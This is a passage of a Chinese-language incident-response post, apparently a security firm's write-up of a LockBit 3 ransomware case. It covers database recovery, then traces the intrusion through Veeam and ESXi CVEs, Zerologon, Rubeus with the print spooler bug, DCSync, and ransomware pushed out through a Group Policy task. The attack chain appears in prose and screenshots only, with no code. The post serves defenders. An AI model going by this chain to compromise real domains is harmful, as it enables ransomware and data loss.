src="https://wechat2rss.xlab.app/img-proxy/?k=021419bb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FDxUXemrrntrTsnN8CDctO9kicKYIhptiakL8Ny8EwWJgoIlXuXReWfXznMicmDDZ9rA20sWgibV6icicbUZkfPUJFyEg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></figure><section style="line-height: 1.8em;letter-spacing: 0em;padding: 8px 10px;text-align: justify;text-indent: 2em;margin-bottom: 0px;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position: 0% 0%;background-repeat: no-repeat;background-size: auto;width: auto;font-family: Optima, &#34;Microsoft YaHei&#34;, PingFangSC-regular, serif;font-size: 16px;color: rgb(0, 0, 0);word-spacing: 0em;word-break: break-word;">因此我们在没有任何备份的时候，可以以遗失较少数据为代价进行恢复</section><h2 data-tool="mdnice编辑器" style="background: none 0% 0% / auto no-repeat scroll padding-box border-box rgb(251, 251, 251);margin-top: 30px;margin-bottom: 15px;align-items: unset;border-style: none;border-width: 1px;border-color: rgb(0, 0, 0);border-radius: 0px;box-shadow: none;flex-direction: unset;float: unset;height: auto;justify-content: unset;line-height: 1.5em;overflow: unset;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="display: none;"></span><span style="font-size: 20px;color: rgb(255, 255, 255);background: none 0% 0% / auto no-repeat scroll padding-box border-box rgb(33, 33, 34);line-height: 2.4em;letter-spacing: 0em;padding-left: 15px;padding-right: 30px;border-style: none;border-width: 1px;border-color: rgb(0, 0, 0);border-radius: 0px 0px 40px;align-items: unset;box-shadow: none;display: inline-block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;overflow: unset;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;">3.2 数据恢复</span><span style="display: none;"></span></h2><section style="line-height: 1.8em;letter-spacing: 0em;padding: 8px 10px;text-align: justify;text-indent: 2em;margin-bottom: 0px;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position: 0% 0%;background-repeat: no-repeat;background-size: auto;width: auto;font-family: Optima, &#34;Microsoft YaHei&#34;, PingFangSC-regular, serif;font-size: 16px;color: rgb(0, 0, 0);word-spacing: 0em;word-break: break-word;">这里我们使用D-Recovery SQL Server作为恢复工具</section><section style="line-height: 1.8em;letter-spacing: 0em;padding: 8px 10px;text-align: justify;text-indent: 2em;margin-bottom: 0px;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position: 0% 0%;background-repeat: no-repeat;background-size: auto;width: auto;font-family: Optima, &#34;Microsoft YaHei&#34;, PingFangSC-regular, serif;font-size: 16px;color: rgb(0, 0, 0);word-spacing: 0em;word-break: break-word;">由于加密损坏了表结构，因此首先需要准备一个表结构一致的mdf作为参照mdf</section><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-imgfileid="100010274" data-ratio="0.5166666666666667" style="display: block;margin-right: auto;margin-left: auto;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;object-fit: fill;box-shadow: rgba(0, 0, 0, 0) 0px 0px 0px 0px;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=c1e319b8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FDxUXemrrntrTsnN8CDctO9kicKYIhptiakngAocKEOslPdM5ib7S8Uz3M9e9kSKqUzcE4CuuwdTq0SgibtQlqcyQpg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></figure><section style="line-height: 1.8em;letter-spacing: 0em;padding: 8px 10px;text-align: justify;text-indent: 2em;margin-bottom: 0px;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position: 0% 0%;background-repeat: no-repeat;background-size: auto;width: auto;font-family: Optima, &#34;Microsoft YaHei&#34;, PingFangSC-regular, serif;font-size: 16px;color: rgb(0, 0, 0);word-spacing: 0em;word-break: break-word;">恢复后的的记录条数 25600059条</section><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-imgfileid="100010272" data-ratio="0.512962962962963" style="display: block;margin-right: auto;margin-left: auto;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;object-fit: fill;box-shadow: rgba(0, 0, 0, 0) 0px 0px 0px 0px;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=48d6ff67&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FDxUXemrrntrTsnN8CDctO9kicKYIhptiakuoysos0taFZPibGbWnX2q7paVolQkSB2YcWFGSyTNsaHTmYYxc2lqoQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></figure><section style="line-height: 1.8em;letter-spacing: 0em;padding: 8px 10px;text-align: justify;text-indent: 2em;margin-bottom: 0px;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position: 0% 0%;background-repeat: no-repeat;background-size: auto;width: auto;font-family: Optima, &#34;Microsoft YaHei&#34;, PingFangSC-regular, serif;font-size: 16px;color: rgb(0, 0, 0);word-spacing: 0em;word-break: break-word;">正常数据库的记录条数 26501904条</section><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-imgfileid="100010271" data-ratio="0.6814814814814815" style="display: block;margin-right: auto;margin-left: auto;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;object-fit: fill;box-shadow: rgba(0, 0, 0, 0) 0px 0px 0px 0px;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=ae38fc1b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FDxUXemrrntrTsnN8CDctO9kicKYIhptiakFcAW6fMGT0QiabOGicOOUu4iaUlunIHz2bU3p4c7zsTkVpKJbTVyfg8lA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></figure><section style="line-height: 1.8em;letter-spacing: 0em;padding: 8px 10px;text-align: justify;text-indent: 2em;margin-bottom: 0px;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position: 0% 0%;background-repeat: no-repeat;background-size: auto;width: auto;font-family: Optima, &#34;Microsoft YaHei&#34;, PingFangSC-regular, serif;font-size: 16px;color: rgb(0, 0, 0);word-spacing: 0em;word-break: break-word;">通过最简单的修复，发现修复率能够达到96.6%</section><h2 data-tool="mdnice编辑器" style="background: none 0% 0% / auto no-repeat scroll padding-box border-box rgb(251, 251, 251);margin-top: 30px;margin-bottom: 15px;align-items: unset;border-style: none;border-width: 1px;border-color: rgb(0, 0, 0);border-radius: 0px;box-shadow: none;flex-direction: unset;float: unset;height: auto;justify-content: unset;line-height: 1.5em;overflow: unset;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="display: none;"></span><span style="font-size: 20px;color: rgb(255, 255, 255);background: none 0% 0% / auto no-repeat scroll padding-box border-box rgb(33, 33, 34);line-height: 2.4em;letter-spacing: 0em;padding-left: 15px;padding-right: 30px;border-style: none;border-width: 1px;border-color: rgb(0, 0, 0);border-radius: 0px 0px 40px;align-items: unset;box-shadow: none;display: inline-block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;overflow: unset;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;">3.3 原因分析</span><span style="display: none;"></span></h2><section style="line-height: 1.8em;letter-spacing: 0em;padding-top: 8px;padding-bottom: 8px;text-indent: 2em;text-align: justify;">勒索团伙通常追求快速加密，以最大限度地缩短受害者的响应时间。因此，当文件大小超过设定的阈值时，他们往往采用部分加密策略，以提高加密效率并减少加密耗时。<span style="background-color: rgb(0, 0, 0);font-weight: bold;letter-spacing: 0px;text-align: left;text-indent: 0em;word-spacing: 0em;"></span></section><h1 data-tool="mdnice编辑器" style="border-color: rgb(0, 0, 0);margin: 30px 30px 15px;padding-top: 12px;padding-bottom: 12px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position: 0% 0%;background-repeat: no-repeat;background-size: auto;border-style: solid;border-width: 1px;border-radius: 0px;box-shadow: none;flex-direction: unset;float: unset;height: auto;justify-content: unset;line-height: 1.1em;overflow: unset;text-align: center;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="font-size: 22px;line-height: 1.2em;letter-spacing: 0em;align-items: unset;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position: 0% 0%;background-repeat: no-repeat;background-size: auto;border-style: none;border-width: initial;border-color: initial;border-radius: 0px;box-shadow: none;display: inline-block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;overflow: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: below 0em -webkit-gradient(linear, 0% 0%, 0% 100%, from(rgba(0, 0, 0, 0)), to(rgba(0, 0, 0, 0.1)));">4.溯源分析</span><span style="background-color: rgb(0, 0, 0);font-weight: bold;letter-spacing: 0px;text-align: left;text-indent: 0em;word-spacing: 0em;"></span></h1><p style="line-height: 1.8em;letter-spacing: 0em;padding: 8px 10px;text-indent: 2em;text-align: justify;margin-bottom: 0px;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position: 0% 0%;background-repeat: no-repeat;background-size: auto;width: auto;font-family: Optima, &#34;Microsoft YaHei&#34;, PingFangSC-regular, serif;font-size: 16px;color: rgb(0, 0, 0);word-spacing: 0em;word-break: break-word;">在对受灾公司网络架构进行深入分析时，我们发现该公司虽然部署了众多安全设备和备份解决方案，并建立了相对成熟的安全运营体系，但在如此庞大的网络环境下，依然存在漏洞，导致黑客成功实施勒索加密攻击，最终造成业务瘫痪。通过详细分析，我们识别出黑客利用了一些隐蔽的攻击手法，如Killav、致盲等，这些技术成功绕过了现有的安全防护，未能及时被发现。我们将在后续文章中详细介绍这些攻击手法，并分享具体的防范建议。下文将逐步还原黑客的入侵路径，旨在通过这个溯源过程为大家提供反思和警示，帮助同行提升防范能力，避免类似事件的发生。</p><p style="line-height: 1.8em;letter-spacing: 0em;padding: 8px 10px;text-indent: 2em;text-align: justify;margin-bottom: 0px;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position: 0% 0%;background-repeat: no-repeat;background-size: auto;width: auto;font-family: Optima, &#34;Microsoft YaHei&#34;, PingFangSC-regular, serif;font-size: 16px;color: rgb(0, 0, 0);word-spacing: 0em;word-break: break-word;">为了更好地保护客户的敏感信息，本次溯源将模拟搭建一个与客户实际环境相仿的网络架构，重现可能的黑客攻击路径与流程。在模拟过程中，我们将深入分析黑客如何渗透、传播、扩展权限并最终达成攻击目的，确保读者能够全面了解和应对各种可能的安全威胁。</p><h2 data-tool="mdnice编辑器" style="background: none 0% 0% / auto no-repeat scroll padding-box border-box rgb(251, 251, 251);margin-top: 30px;margin-bottom: 15px;align-items: unset;border-style: none;border-width: 1px;border-color: rgb(0, 0, 0);border-radius: 0px;box-shadow: none;flex-direction: unset;float: unset;height: auto;justify-content: unset;line-height: 1.5em;overflow: unset;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="display: none;"></span><span style="font-size: 20px;color: rgb(255, 255, 255);background: none 0% 0% / auto no-repeat scroll padding-box border-box rgb(33, 33, 34);line-height: 2.4em;letter-spacing: 0em;padding-left: 15px;padding-right: 30px;border-style: none;border-width: 1px;border-color: rgb(0, 0, 0);border-radius: 0px 0px 40px;align-items: unset;box-shadow: none;display: inline-block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;overflow: unset;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;">4.1 黑客攻击路线图</span><span style="display: none;"></span></h2><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-imgfileid="100010270" data-ratio="0.4425925925925926" style="display: block;margin-right: auto;margin-left: auto;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;object-fit: fill;box-shadow: rgba(0, 0, 0, 0) 0px 0px 0px 0px;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=5ec75642&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FDxUXemrrntrTsnN8CDctO9kicKYIhptiakNK4IVSo3SkHJD5rnqnFuE86FBAxCQXY4r3ny4KszQ1pucmELXsOTdw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></figure><section style="line-height: 1.8em;letter-spacing: 0em;padding: 8px 10px;text-align: justify;text-indent: 2em;margin-bottom: 0px;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position: 0% 0%;background-repeat: no-repeat;background-size: auto;width: auto;font-family: Optima, &#34;Microsoft YaHei&#34;, PingFangSC-regular, serif;font-size: 16px;color: rgb(0, 0, 0);word-spacing: 0em;word-break: break-word;">NAS、ESXI、Veeam、数据库服务器均无法正常使用，且所有数据均已被加密</section><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-imgfileid="100010273" data-ratio="0.5175925925925926" style="display: block;margin-right: auto;margin-left: auto;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;object-fit: fill;box-shadow: rgba(0, 0, 0, 0) 0px 0px 0px 0px;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=c431dd4c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FDxUXemrrntrTsnN8CDctO9kicKYIhptiakPsEHianZW1OS3zLkKuYEv2NqoEndwoy7ricK0QpatmaP9D2SScibhF3vg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></figure><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-imgfileid="100010279" data-ratio="0.6444444444444445" style="display: block;margin-right: auto;margin-left: auto;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;object-fit: fill;box-shadow: rgba(0, 0, 0, 0) 0px 0px 0px 0px;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=c746b5ab&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FDxUXemrrntrTsnN8CDctO9kicKYIhptiakw4LNSK9QIefB8hhibyj7Kic3tzdCW8fvmIClyibq7aEhkvow91iaHP3oeA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></figure><h2 data-tool="mdnice编辑器" style="background: none 0% 0% / auto no-repeat scroll padding-box border-box rgb(251, 251, 251);margin-top: 30px;margin-bottom: 15px;align-items: unset;border-style: none;border-width: 1px;border-color: rgb(0, 0, 0);border-radius: 0px;box-shadow: none;flex-direction: unset;float: unset;height: auto;justify-content: unset;line-height: 1.5em;overflow: unset;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="display: none;"></span><span style="font-size: 20px;color: rgb(255, 255, 255);background: none 0% 0% / auto no-repeat scroll padding-box border-box rgb(33, 33, 34);line-height: 2.4em;letter-spacing: 0em;padding-left: 15px;padding-right: 30px;border-style: none;border-width: 1px;border-color: rgb(0, 0, 0);border-radius: 0px 0px 40px;align-items: unset;box-shadow: none;display: inline-block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;overflow: unset;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;">4.2 域：set.com</span><span style="display: none;"></span></h2><section style="line-height: 1.8em;letter-spacing: 0em;padding: 8px 10px;text-align: justify;text-indent: 2em;margin-bottom: 0px;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position: 0% 0%;background-repeat: no-repeat;background-size: auto;width: auto;font-family: Optima, &#34;Microsoft YaHei&#34;, PingFangSC-regular, serif;font-size: 16px;color: rgb(0, 0, 0);word-spacing: 0em;word-break: break-word;">工程师首先对最主要的Veeam备份服务器进行排查，远程登录后发现服务器遭受Lockbit3勒索家族的攻击，黑客通过漏洞添加用户后在11月27日11:41:16执行加密器，最终所有备份文件均被加密。</section><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-imgfileid="100010275" data-ratio="0.9175925925925926" style="display: block;margin-right: auto;margin-left: auto;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;object-fit: fill;box-shadow: rgba(0, 0, 0, 0) 0px 0px 0px 0px;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=d756ce2a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FDxUXemrrntrTsnN8CDctO9kicKYIhptiak58d5d8uDTJzmXLIlOKCOBXeChxMPVPyZvfJ1QWiaL5ic83mAic2sWcRuw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></figure><section style="line-height: 1.8em;letter-spacing: 0em;padding: 8px 10px;text-align: justify;text-indent: 2em;margin-bottom: 0px;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position: 0% 0%;background-repeat: no-repeat;background-size: auto;width: auto;font-family: Optima, &#34;Microsoft YaHei&#34;, PingFangSC-regular, serif;font-size: 16px;color: rgb(0, 0, 0);word-spacing: 0em;word-break: break-word;">由于Veeam的网络策略为仅ESXI服务器可访问，由此可知勒索团伙是完成攻击ESXI后横向至Veeam备份服务器。并且ESXI已加入到域中，攻击者在获取域控后通过漏洞CVE-2024-37085将域管理员administrator添加到创建的恶意用户组 ESX Admins中，实现对ESXI后台接管。</section><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-imgfileid="100010278" data-ratio="0.5194444444444445" style="display: block;margin-right: auto;margin-left: auto;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;object-fit: fill;box-shadow: rgba(0, 0, 0, 0) 0px 0px 0px 0px;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=d3cc6418&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FDxUXemrrntrTsnN8CDctO9kicKYIhptiaktwZd0HNXzYldMBgdXw3en3iahp3eK8wOtHlzOEGvKaYnLhNrJoO1zPA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></figure><section style="line-height: 1.8em;letter-spacing: 0em;padding: 8px 10px;text-align: justify;text-indent: 2em;margin-bottom: 0px;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position: 0% 0%;background-repeat: no-repeat;background-size: auto;width: auto;font-family: Optima, &#34;Microsoft YaHei&#34;, PingFangSC-regular, serif;font-size: 16px;color: rgb(0, 0, 0);word-spacing: 0em;word-break: break-word;">在域控服务器DC03中可以看到该条日志，攻击者在27号11月27日11:36:07执行了CVE-2023-27532漏洞EXP，经测试最终能够确认就是通过该漏洞实现入侵Veeam。</section><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-imgfileid="100010276" data-ratio="0.21944444444444444" style="display: block;margin-right: auto;margin-left: auto;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;object-fit: fill;box-shadow: rgba(0, 0, 0, 0) 0px 0px 0px 0px;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=0745e065&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FDxUXemrrntrTsnN8CDctO9kicKYIhptiakGaM77icibXI58uNAGyBjjS4RNmOrG18zOfcxg8MaEpfrgGqaoZPx1Hlw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></figure><section style="line-height: 1.8em;letter-spacing: 0em;padding: 8px 10px;text-align: justify;text-indent: 2em;margin-bottom: 0px;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position: 0% 0%;background-repeat: no-repeat;background-size: auto;width: auto;font-family: Optima, &#34;Microsoft YaHei&#34;, PingFangSC-regular, serif;font-size: 16px;color: rgb(0, 0, 0);word-spacing: 0em;word-break: break-word;">机器账户DC3$频繁出现登陆登出和wmi连接的情况，并且随后域管账户administrator就以LogonType3的形式登陆成功</section><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-imgfileid="100010277" data-ratio="0.5509259259259259" style="display: block;margin-right: auto;margin-left: auto;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;object-fit: fill;box-shadow: rgba(0, 0, 0, 0) 0px 0px 0px 0px;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=02d448e8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FDxUXemrrntrTsnN8CDctO9kicKYIhptiakuVJmgL3XumMancPpvtGSvXPWTT3pnqTPFxwAkJCicaITpVCjWicKIJ2A%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></figure><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-imgfileid="100010283" data-ratio="0.5259259259259259" style="display: block;margin-right: auto;margin-left: auto;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;object-fit: fill;box-shadow: rgba(0, 0, 0, 0) 0px 0px 0px 0px;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=3b1ff403&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FDxUXemrrntrTsnN8CDctO9kicKYIhptiakprZ4JxoUThvjeniaamLjZJYxtTeXBoWr3mNqv51R5ptoCLFzsxgaibVA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></figure><section style="line-height: 1.8em;letter-spacing: 0em;padding: 8px 10px;text-align: justify;text-indent: 2em;margin-bottom: 0px;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position: 0% 0%;background-repeat: no-repeat;background-size: auto;width: auto;font-family: Optima, &#34;Microsoft YaHei&#34;, PingFangSC-regular, serif;font-size: 16px;color: rgb(0, 0, 0);word-spacing: 0em;word-break: break-word;">推测以上行为是攻击者利用域控漏洞Zerologon实现dump管理员hash，攻击IP为10.0.10.12</section><section style="line-height: 1.8em;letter-spacing: 0em;padding: 8px 10px;text-align: justify;text-indent: 2em;margin-bottom: 0px;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position: 0% 0%;background-repeat: no-repeat;background-size: auto;width: auto;font-family: Optima, &#34;Microsoft YaHei&#34;, PingFangSC-regular, serif;font-size: 16px;color: rgb(0, 0, 0);word-spacing: 0em;word-break: break-word;">在组策略的计划任务中发现了定时加密的计划任务，黑客将加密器和执行脚本放置在域控的共享目录中，该任务将会在对所有域主机执行run.bat。从而达到对大量目标快速加密，其中就包括因为<strong>通过SMB挂载</strong>到某主机上的NAS。</section><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-imgfileid="100010281" data-ratio="0.3296296296296296" style="display: block;margin-right: auto;margin-left: auto;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;object-fit: fill;box-shadow: rgba(0, 0, 0, 0) 0px 0px 0px 0px;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=b828f0f2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FDxUXemrrntrTsnN8CDctO9kicKYIhptiakVPDhGuI9yYZr0icqXiaNN8QLmYgz7BsCV2stBH3bkW7kn3jPUIE9ZVXQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></figure><h2 data-tool="mdnice编辑器" style="background: none 0% 0% / auto no-repeat scroll padding-box border-box rgb(251, 251, 251);margin-top: 30px;margin-bottom: 15px;align-items: unset;border-style: none;border-width: 1px;border-color: rgb(0, 0, 0);border-radius: 0px;box-shadow: none;flex-direction: unset;float: unset;height: auto;justify-content: unset;line-height: 1.5em;overflow: unset;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="display: none;"></span><span style="font-size: 20px;color: rgb(255, 255, 255);background: none 0% 0% / auto no-repeat scroll padding-box border-box rgb(33, 33, 34);line-height: 2.4em;letter-spacing: 0em;padding-left: 15px;padding-right: 30px;border-style: none;border-width: 1px;border-color: rgb(0, 0, 0);border-radius: 0px 0px 40px;align-items: unset;box-shadow: none;display: inline-block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;overflow: unset;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;">4.3 域：sub.set.com</span><span style="display: none;"></span></h2><section style="line-height: 1.8em;letter-spacing: 0em;padding: 8px 10px;text-align: justify;text-indent: 2em;margin-bottom: 0px;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position: 0% 0%;background-repeat: no-repeat;background-size: auto;width: auto;font-family: Optima, &#34;Microsoft YaHei&#34;, PingFangSC-regular, serif;font-size: 16px;color: rgb(0, 0, 0);word-spacing: 0em;word-break: break-word;">IP 10.0.10.12为该子域的域控，被攻击者作为攻击父域的跳板机，在该主机的日志中发现10.0.10.42依然在和通信</section><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-imgfileid="100010280" data-ratio="0.25462962962962965" style="display: block;margin-right: auto;margin-left: auto;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;object-fit: fill;box-shadow: rgba(0, 0, 0, 0) 0px 0px 0px 0px;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=3cd84810&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FDxUXemrrntrTsnN8CDctO9kicKYIhptiakrwTg8FFWOOj6A2J10QaibPNzjebSibC1cav06ia9aMkGrmXKpN3vGklZg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></figure><section style="line-height: 1.8em;letter-spacing: 0em;padding: 8px 10px;text-align: justify;text-indent: 2em;margin-bottom: 0px;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position: 0% 0%;background-repeat: no-repeat;background-size: auto;width: auto;font-family: Optima, &#34;Microsoft YaHei&#34;, PingFangSC-regular, serif;font-size: 16px;color: rgb(0, 0, 0);word-spacing: 0em;word-break: break-word;">排查10.0.10.42的服务器，发现了攻击者并未关闭攻击窗口，其利用rubeus配合printspooler漏洞，导致域控TGT泄漏，从而利用dcsync获取域管的hash。</section><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-imgfileid="100010284" data-ratio="0.3277777777777778" style="line-height: 1.8em;letter-spacing: 0em;padding: 8px 10px;text-align: justify;text-indent: 2em;margin-bottom: 0px;background-attachment: scroll;background-clip: border-box;background-origin: padding-box;background-position: 0% 0%;background-repeat: no-repeat;background-size: auto;width: auto;font-family: Optima, &#34;Microsoft YaHei&#34;, PingFangSC-regular, serif;font-size: 16px;color: rgb(0, 0, 0);word-spacing: 0em;word-break: break-word;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=31a9391e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FDxUXemrrntrTsnN8CDctO9kicKYIhptiakOHUq6LeAyAjCmu0bE0LfJticNHcv9JtD9PKoRbrVnGI99P2kReXNoSg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></figure><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-imgfileid="100010282" data-ratio="0.4527777777777778" style="line-height: 1.8em;letter-spacing: 0em;padding: 8px 10px;text-align: justify;text-indent: 2em;margin-bottom: 0px;background-attachment: scroll;background-clip: border-box;background-origin: padding-box;background-position: 0% 0%;background-repeat: no-repeat;background-size: auto;width: auto;font-family: Optima, &#34;Microsoft YaHei&#34;, PingFangSC-regular, serif;font-size: 16px;color: rgb(0, 0, 0);word-spacing: 0em;word-break: break-word;" data-type="png" data-w="1080" 